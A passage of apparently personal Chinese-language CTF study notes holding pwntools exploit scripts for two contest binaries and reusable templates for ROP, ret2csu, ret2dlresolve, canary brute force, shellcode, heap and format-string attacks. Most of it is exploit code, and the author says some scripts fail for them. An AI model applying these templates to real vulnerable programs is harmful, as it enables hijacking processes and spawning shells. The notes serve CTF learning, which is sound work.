payload= base64.b64encode('A'*258)
p.sendline(payload)
print(p.recv()) #输出接收到的数据
recv= p.recv()
canary = '\x00'+recv[recv.rfind('AAAAAA')+6:recv.rfind('AAAAAA')+9]
print("canary >> " +canary) #rfind()返回字符串最后一次出现的位置

我目前还不能理解这种收集数据的方式,但是它看起来还挺实用的,以后再研究

本题是给了libc库的,所以这么打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import * 
import binascii
import base64
p=process('./pwns')
libc= ELF('/lib/i386-linux-gnu/libc.so.6')
elf=ELF('./pwns')
context(arch='i386',os='linux')

setbuf_got= elf.got['setbuf']
puts_plt = elf.plt['puts']

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:\n") #注意:这里要多收集一个"\n"
payload=b'a'*int(258*4/3)
p.sendline(payload)
p.recvline()
canary =p.recv()[268:271]
canary="\x00"+canary
print("canary >> " +canary)

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:")
payload = base64.b64encode('A'*257+canary+'A'*12+p32(puts_plt)+'A'*4+p32(setbuf_got))
#程序用base64对输入值进行了加密,所以这里需要进行解密
p.sendline(payload)
print p.recv()
recv= p.recv()
print recv
setbuf_addr = u32(recv[recv.rfind('AAAAAA')+7:recv.rfind('AAAAAA')+11])
print("setbuf_addr >> "+str(setbuf_addr))

system_offset=libc.symbols["system"]
setbuf_offset=libc.symbols["setbuf"]
system_addr=setbuf_addr+system_offset-setbuf_offset

binsh_offset=0x192352
#strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" (直接输出16进制)
binsh_addr = setbuf_addr+binsh_offset-setbuf_offset

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:")
payload = base64.b64encode('A'*257+canary+'A'*12+p32(system_addr)+'A'*4+p32(binsh_addr))
p.sendline(payload)

p.interactive()

网上还有一个更nb的,自己找libc版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import base64
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048B09'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)

local_MAGIC = 0x0003AC69

io = process('/home/h11p/hackme/huxiangbei/pwns')

payload = 'a'*0x102
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
myCanary=io.recv()[268:271]
Canary="\x00"+myCanary
print "Canary:"+hex(u32(Canary))

payload = 'a'*0x151
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
mylibc=io.recv()[347:351] #直接开gdb看出来的
base_libc=u32(mylibc)-0x18637
print "mylibc_addr:"+hex(base_libc)

MAGIC_addr=local_MAGIC+base_libc #这个MAGIC是one_gadget
payload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr)
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))

io.interactive()
io.close()

我和他的版本不同,我打不通也看不懂,以后再学

地址:2017湖湘杯pwn100的wp - JavaShuo

事情的起因是我遇到了一道做过的题目,它的代码完全没有改变,只是程序变成了64位

以前我用DynELF直接打通了32位,现在来看64位发现少了一个gadget,于是我脑袋抽了,用“ret2dlresolve”搞了一上午

后来想到了利用“ret2csu”来控制DynELF中的“write”函数

发现这种组合的通用性还挺高,只要程序溢出至少“136字节”就可以打

于是想记录一下,让今后的我少走点弯路


2015-xdctf-pwn200

1641183143407

一次输入

1641183182063

1641183191422

64位,dynamically,开了NX

1641183209046

1641183233342

没有system,没有“/bin/sh”

函数write可以输出的值就是字符串的长度“23字节”

vuln中有read,可以输入“256字节”

入侵思路

1641183449006

程序溢出了“144字节”,有write函数,可以有多种方法打通

DynELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

p=process('./main_partial_relro_64')
elf=ELF('./main_partial_relro_64')
#context(log_level='debug',arch='amd64')
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=0x40066E
fun_addr=0x400637
bss_addr=0x601050+0x200

csu_front_addr=0x000000000400780
csu_end_addr=0x00000000040079A
print("write_got >> "+hex(write_got))

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = b'a'*0x70 + b'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx) + p64(rbp)+p64(r12) +p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)

def leak(addr):
p.recvuntil("Welcome to XDCTF2015~!\n")
csu(0, 1, write_got, 1, addr, 8, main_addr)
data=p.recv(8)
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data

d=DynELF(leak,elf=elf)

execve_addr=d.lookup('execve','libc')
print("execve_addr: "+hex(execve_addr))

payload=p64(execve_addr)+b'/bin/sh'
csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr)
p.send(payload)

csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)

p.interactive()

注意:(每一条都是血的教训)

因为DynELF模块在执行的过程中会输出一下字符串,所以“p.recvuntil”必须有

不同程序的csu可能不同,有时需要修改模板

另外我也尝试过用“system”但是打不通(可能是环境问题)

1
csu(0, 1, write_got, 1, addr, 8, main_addr)

用csu包装的函数视乎只认识GOT表,用其他的就报错

1
2
3
4
5
6
payload=p64(execve_addr)+b'/bin/sh'
csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr)
#read(0, bss_addr, len(payload))
p.send(payload)
csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)
#execve('/bin/sh', 0, 0)

必须利用“read”把泄露出来的“execve”写在某个地址上,只有这样才可以调用“execve”

​ //我也尝试过用其他姿势来调用“execve”,但是都报错了


ret2dlresolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./main_partial_relro_64')
elf = ELF('./main_partial_relro_64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') #程序使用这个库文件
read_plt = elf.plt['read']
write_got = elf.got['write']
vuln_addr = elf.sym['vuln']

bss = 0x601050
bss_stage = bss + 0x100
l_addr = libc.sym['system'] -libc.sym['write']
#目标函数和已知函数的偏移(把‘write’重定位成‘system’)

pop_rdi = 0x4007a3
pop_rsi = 0x4007a1
plt_load = 0x400506 #plt[1](dl_runtime_resolve)

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
#offset为负数,可以用‘(2 ** 64 - 1)’来控制范围
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , pop_rsi , 0 ,0 , pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 )

"""
read_plt触发时输入‘fake_link_map’,plt_load就是dl_runtime_resolve,控制程序手段执行dl_runtime_resolve,此时‘bss_stage’被当做第一个参数,‘0’被当做第二个参数
"""

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)

r.send(fake_link_map) #把write重定位为system

r.interactive()

可以来看一下fake_Linkmap_payload的栈帧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0000| fake_linkmap_addr+0x00  --> offset //DT_STRTAB(随便设置的)
0008| fake_linkmap_addr+0x08 --> 0 //DT_JMPREL
0010| fake_linkmap_addr+0x10 --> fake_linkmap_addr + 0x18
0018| fake_linkmap_addr+0x18 --> fake_linkmap_addr + 0x30 - offset
0020| fake_linkmap_addr+0x20 --> 0x7
0028| fake_linkmap_addr+0x28 --> 0
0030| fake_linkmap_addr+0x30 --> 0
0038| fake_linkmap_addr+0x38 --> 0 //DT_SYMTAB
0040| fake_linkmap_addr+0x40 --> known_func_ptr - 0x8
0048| fake_linkmap_addr+0x48 --> b'/bin/sh\x00'
....................................
0068| fake_linkmap_addr+0x68 --> fake_linkmap_addr
//对应的值是DT_STRTAB的地址(fake_linkmap_addr)
0070| fake_linkmap_addr+0x70 --> fake_linkmap_addr + 0x38
//对应的值是DT_SYMTAB的地址(fake_linkmap_addr + 0x38)
....................................
00f8| fake_linkmap_addr+0xf8 --> fake_linkmap_addr + 0x8
//对应的值是DT_JMPREL的地址(fake_linkmap_addr + 0x8)

dl_runtime_resolve被手动调用时,会读取“bss_stage”上的数据为“link_map”然后获取“JMPREL”,“SYMTAB”,“DT_STRTAB”,问题的关键就在于把它们三个的 “索引” 都弄成“0”,才能进行伪装

这种伪装方式不需要“JMPREL”,“SYMTAB”,“DT_STRTAB”的地址,只要一个已知函数的GOT表地址,和libc版本就可以了


注意:

1641234781843

重定位入口的符号类型(一般为“0x7”)在“JMPREL”中看

各种模板

pwn题中有许多目标模板,灵活利用可以节约大量时间

我打算把我遇到的所有模板都挂在这里,方便以后查找


CSU-万能pop模板

当程序的常规gadgets不能满足需求时(通常是缺少“pop_rdx”),就需要万能pop

如果用csu进行寄存器赋值,需要两个重要的ROPgadgets:

csu_front_addr:

csu_end_addr:

这两个gadgets相互配合就可以执行任何已知函数

不同的程序csu可能不同(寄存器顺序不同),一定要确认并修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
csu_front_addr=
csu_end_addr=

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = padding + fake_ebp
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

​ // fun_got也可以是指向函数首地址的指针

例子:

1
2
3
4
csu(0, 1, write_got, 8, bss_addr, 1, main_addr)
#执行write(1,bss_addr,8)后,执行main_addr
csu(0, 1, read_got, 8, bss_addr, 0, main_addr)
#执行read(0,bss_addr,8)后,执行main_addr

​ //但是万能pop需要至少“136字节”(0x88)的溢出

DynELF-基于puts的模板

puts遇到“\x00”会中断,并且会在字符串结尾自动加上’\n’,非常不适合leak函数

所以想用puts来泄露地址,必须要对其进行处理:

64位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def leak(addr): 
payload = padding + fake_rbp
payload += p64(pop_rdi_ret) + p64(addr)
payload += p64(puts_plt) + p64(ret_address)
p.send(payload)
p.recvuntil('xxxx')
count = 0
data = ''
up = ""
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
data = data[:-1]
data += "\x00"
break
else:
data += c
up = c
data = data[:8]
log.success('%x -> %s'%(addr,hex(u32(data))))
return data

32位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
count = 0
data = ''
payload = p32(puts_plt) + p32(ret_address) + p32(address)
p.send(payload)
print p.recvuntil('xxxx')
up = ""
while True:
c = p.recv(numb=1, timeout=1)
count += 1
if up == '\n' and c == "":
buf = buf[:-1]
buf += "\x00"
break
else:
buf += c
up = c
data = buf[:4]
log.success('%x -> %s'%(address,hex(u32(data))))
return data

数据接收那里很容易出问题,并且必须要有“ p.recvuntil(‘xxxx’) ”

因为程序在运行的过程中会输出一些字符串,可能会干扰数据接收的过程

DynELF-基于write的模板

write比puts友好太多了,这个leak函数也比较简单:

64位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def leak(addr): 
payload = padding + fake_rbp
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(addr)
payload += p64(pop_rdx_ret) + p64(8)
payload += p64(write_plt) + p64(ret_address)
p.send(payload)
p.recvuntil('xxxx')
data = p.recv(8)
log.success('%x -> %s'%(addr,hex(u32(data))))
return data

d = DynELF(leak,elf = elf)
function_libc = d.lookup('function','libc')

32位:

1
2
3
4
5
6
7
8
9
10
11
12
def leak(address):
payload = padding + fake_rbp
payload += p32(write_plt) + p32(ret_address)
payload += p32(1) + p32(address) + p32(4)
p.sendline(payload)
p.recvuntil('xxxx')
data = p.recv(4)
log.success('%x -> %s'%(address,hex(u32(data))))
return data

d = DynELF(leak,elf = elf)
function_libc = d.lookup('function','libc')

配合上面的万能pop,还可以形成更骚的操作:

1
2
3
4
5
6
7
def leak(addr): 
csu(0, 1, write_got, 8, addr, 1, main_addr)
p.recvuntil('xxxx')
data = p.recv(8)
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data
#当然,配合puts也是可以的(puts和write就只有接收部分不同)

注意:有些程序自带循环,可以根据具体情况进行修改

ret2dlresolve-64位

如果题目中给出了libc版本,就可以用这个方法(泄露出libc版本后也行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

#fake_linkmap_addr:可以控制的地址
#known_func_ptr:function_got(已知函数的GOT表地址)
#offset:system_got - function_got
1
2
3
4
5
6
7
8
9
10
l_addr =  libc.sym['system'] -libc.sym['function']  
plt_load = addr(plt[1]) # dl_runtime_resolve

fake_link_map = fake_Linkmap_payload(bss_stage, function_got ,l_addr)
payload = flat( padding, pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, pop_rsi, 0, 0, pop_rdi, bss_stage + 0x48, plt_load, bss_stage, 0)
# “bss_stage+0x48”为'/bin/sh\x00'

p.recvuntil('xxxx')
p.sendline(payload)
p.send(fake_link_map)

程序先利用read在“bss_stage”中写入了“fake_link_map”

在手动调用dl_runtime_resolve(plt_load),把“bss_stage”和“0”作为参数

执行完成之后,目标函数就会被重定位为“ system(“/bin/sh”) ”

理论上来讲,只要已知了libc版本就可以用这个来打

canary爆破

1
2
3
4
5
6
7
8
9
10
for j in range(3): #32位为‘3’,64位为‘7’
for i in range(0x100):
cn.send( padding + canary + chr(i)) #从0~0xFF,依次注入
a = cn.recvuntil('xxxx')
if 'xxxx' in a: #一次性不覆盖全部的canary,而是覆盖1字节
canary += chr(i)
break

canary='\x00'+canary
print(canary)

这两个’xxxx’写什么是关键,要对比“canary通过”和“canary不通过”程序输出的字符串来填入

ORW(ROP链+shellcode)

ORW原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <gmp.h>
#include <stdio.h>

int main(void)
{
void* bss;
int* fd,mm;
fd=open("./flag.txt",0);
mm=open("./flag.txt",0);
bss=malloc(0x90);
read(3,bss,0x30);
write(1,bss,0x30);
printf("fd >>%d\n",fd);
printf("mm >>%d\n",mm);
return 0;
}

注意这里的“read(3,bss,0x30)”(如果前面已经调用了“open”,可以换成“read(4,bss,0x30)”)

1
2
3
flag{ywhkkx}
fd >>3
mm >>4

Shellcode-32

1
2
3
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
1
2
3
4
5
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
shellcode = asm(shellcode)

Shellcode-64

1
2
3
4
5
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
shellcode = asm(shellcode)

​ // 不管是64位还是32位:“esp”为“./flag”所在地址,根据具体情况进行填写

ROP链-64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
payload = padding + fake_rbp
# read(0, bss_addr, 0x30)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
# open(bss_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(3,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

p.sendline(payload)
flag='./flag'
p.send(flag)

当不知道程序名称时,用“getdents64”进行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
payload = padding + fake_rbp
# read(0, bss_addr, 2)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(2)
payload += p64(elf.sym['read'])
# open(".")[3]
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# getdents64(3, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret) + p64(217)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x600)
payload += p64(syscall_ret)
# write(1, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x600)
payload += p64(syscall_ret)
# read(0, bss_addr, 0x30)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
# open(bss_addr,0)[4]
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(4,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(4)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

p.sendline(payload)
p.send('.\x00') # read(0, bss_addr, 2) >> open(".")
time.sleep(1)
p.recvuntil('xxxx') # read(0, bss_addr, 0x30) >> open('xxxx'+flag_s,0)
flag_s=p.recv(20)
flag='xxxx'+flag_s
p.send(flag)
  • 先用“open(“.”)”打开当前目录
  • 使用“getdents64(3, bss_addr + 0x200, 0x600)”打印目录到“bss_addr + 0x200”
  • 使用“write(1, bss_addr + 0x200, 0x600)”打印目录
  • 选择性接受文件名称(至于怎么接收,就要看程序了)

Shellcode模板

ret2csu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
csu_front_addr=
csu_end_addr=

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = padding + fake_ebp
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

# 1. read shellcode to bss_addr
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
#shellcode=asm(shellcraft.amd64.linux.sh(),arch='amd64')
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(bss_addr)
payload+=p64(pop_rdx_ret)+p64(0x400)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

# 2. read bss_addr to got[0]
shellcode_got= got[0]
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(shellcode_got)
payload+=p64(pop_rdx_ret)+p64(0x200)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(bss_addr))

# 3. read mprotect_libc to got[1]
mprot_got= got[1]
payload= padding + fake_ebp
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(mprot_got)
payload+=p64(pop_rdx_ret)+p64(0x200)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(mprotect_libc))

csu(0, 1, mprot_got, 7, 0x1000, 0x600000, main_addr)
csu(0, 1, shellcode_got, 0, 0, 0, main_addr)

这种进攻方式的核心就在于:把目标地址写入空白的GOT表

Unlink攻击模板

基于chunk_list

通常就是这么个造型,根据具体需要进行修改(这种方式高libc版本用不了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
alloc(0xa0)	#chunk1
alloc(0xa0) #chunk2
alloc(0xa0) #chunk3

list_addr_chunk2=list_addr+0x10
payload=p64(0)+p64(0xa0)
payload+=p64(list_addr_chunk2-0x18)
payload+=p64(list_addr_chunk2-0x10)
payload=payload.ljust(0xa0,'\x00')
payload+=p64(0xa0)+p64(0xb0)

fill(2,0xb0,payload) #fake_chunk2
free(3)
#list_addr_chunk2:就是目标chunk(chunk2)的FD指针,通过list_addr比较好寻找
#注意:例题的"chunk[0]"没有写入东西

通常都是修改“chunk2”,释放“chunk3”,留一个“chunk1”进行初始化

1
2
3
4
5
6
7
8
pwndbg> x/10xg list_addr(buf[0])
0x602140: 0x0000000000000000 0x0000000000e0a020
0x602150: 0x0000000000602138 0x0000000000000000 #fake_chunk2
0x602160: 0x0000000000000000 0x0000000000000000
#演示程序的buf[0]没有chunk
#buf[1]为chunk1,用于初始化
#buf[2]为fake_chunk2,是攻击对象
#buf[3]为chunk3,已经被free

接下来修改“chunk2”就可以直接修改“list_addr”(“buf[0]”)了

1
2
3
4
5
payload=p64(0)
payload+=p64(elf.got['target1']) #fake_chunk0
payload+=p64(elf.got['target2']) #fake_chunk1
payload+=p64(elf.got['target3']) #fake_chunk2
fill(2,len(payload),payload)

​ // 程序会在“buf[-1]”(buf[2-3])开始写入数据

基于heap_addr(泄露“heap_addr”+泄露“libc_base”+后续利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# leak libc_base
add(0x40,'')#0
add(0x60,'')#1
add(0xf0,'')#2
add(0x10,'')#3
delete(2)
add(0xf0,'')#2

show(2)
p.recvuntil('\n')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))<<8
libc_base=leak_addr-0x3c4b00
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

# leak heap_addr
add(0x10,'')#4
delete(3)
delete(4)
add(0x10,'')#3
show(3)
p.recvuntil('\n')
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))<<8
heap_addr=leak_addr-240
success('leak_addr >> '+hex(leak_addr))
success('heap_addr >> '+hex(heap_addr))

# unlink for overlapping
delete(0)
payload=p64(0)+p64(0xb1) # fake chunk->size
payload+=p64(heap_addr+0x18)+p64(heap_addr+0x20)+p64(heap_addr+0x10)
add(0x40,payload)#0
delete(1)
add(0x68,'\x00'*0x60+p64(0xb0))#1
delete(2) # fake chunk->size=0xb1+0x100

# after unlink
add(0xc0,'AAAA')#2(malloc form unsortedbin "0x40+0x10"+"0x60+0x10")
add(0x60,'BBBB')#3(avoid top chunk and adjust the size of unsortedbin)
delete(1) # lead chunk1 to fastbin
delete(2)
add(0xc0,flat('\x00'*0x38,0x71,fake_target))
# make fake_target to unsortedbin and then to fastbin(0x70)
add(0x60,payload) # malloc the fake_target and change it
  • 先构造泄露 heap_addr 的结构,再构造泄露 libc_base 的结构
  • 要求 unlink 跳过中间那个chunk,基于这点构造“fake chunk->size”和“last chunk->fake presize”
  • 释放chunk1,使chunk1进入fastbin
  • 申请“0x60”字节的目的有二:防止 top chunk 合并,调整 unsortedbin 的大小(使其可以进入fastbin)
  • 申请“0xC0”字节释放后,可以控制已经在fastbin中的chunk1,从而申请到目标地址

Unsortedbin Leak模板

1
2
3
4
5
6
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3) # 注意:这里要先释放后申请的chunk,不然程序不会打印(不知道原因)
delete(1)
  • chunk1:leak heap_addr
  • chunk3:leak main_arena

格式化字符串漏洞模板

WAA模板

通常需要在两片内存空间中,最后指向的地址相同(“偏移N”,“偏移M”)

例如:实现“ 目标地址 => shellcode ”

  • 找寻:最后指向地址相同的两片空间(“偏移N”,“偏移M”)
  • 把“目标地址”写入“偏移N”
  • 对应的“偏移M”最终也会指向“目标地址”
  • 把“shellcode”写入“偏移M”(其实就是把“shellcode”写入“目标地址”了)

通常需要分段写入地址,先写入高地址,所以模板为:(每次修改2字节)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
payload = "%{}c%N$hn\n".format(target_addr_in_stack + 6) # last 6~8
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*3) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack + 4) # last 4~6
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*2) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack + 2) # last 2~4
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*1) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack) # last 0~2
p.send(payload)

payload = "%{}c%M$hn\n".format(shellcode_addr & 0xFFFF)
p.send(payload)

leak模板

格式化字符串的 leak 很简单,只需要输入若干“-%p”,并在GDB中确认格式化参数的地址后,就可以计算出各个地址的偏移了

​ // 前6个是寄存器中存放的值(在stack中也有),后续的信息才是重点

实现 leak 了之后,首先需要寻找“最后指向地址相同”的内存空间,方便以后的 WAA

Tcache Attack 模板

Tcache Attack的形式多种多样,遇到一个记录一个

Tcache leak

如果程序拥有“打印模块”,就先可以填满 Tcachebin,然后打 Unsortedbin leak

1
2
3
4
5
6
7
for i in range (9):
add(i,0x100,'aaaa')

for i in range (7):
delete(i)

delete(7) # chunk8 into Unsortedbin

申请9个chunk:7个填Tcachebin,1个leak,1个防止和合并Top chunk

Tcache dup

1
2
3
4
5
6
7
delete(index)
edit(index,"\x00"*0x10)
delete(index)

edit(index,p64(target))
add(size)
add(size) # malloc the target
  • 释放 chunk ,覆盖 “chunk->FD,chunk->BK” 为“\x00” ,再次释放
  • 利用修改模块覆写上 target
  • 连续两次申请获取 target

Tcache perthread corruption

一,打 count 获取 unsorted chunk:

1
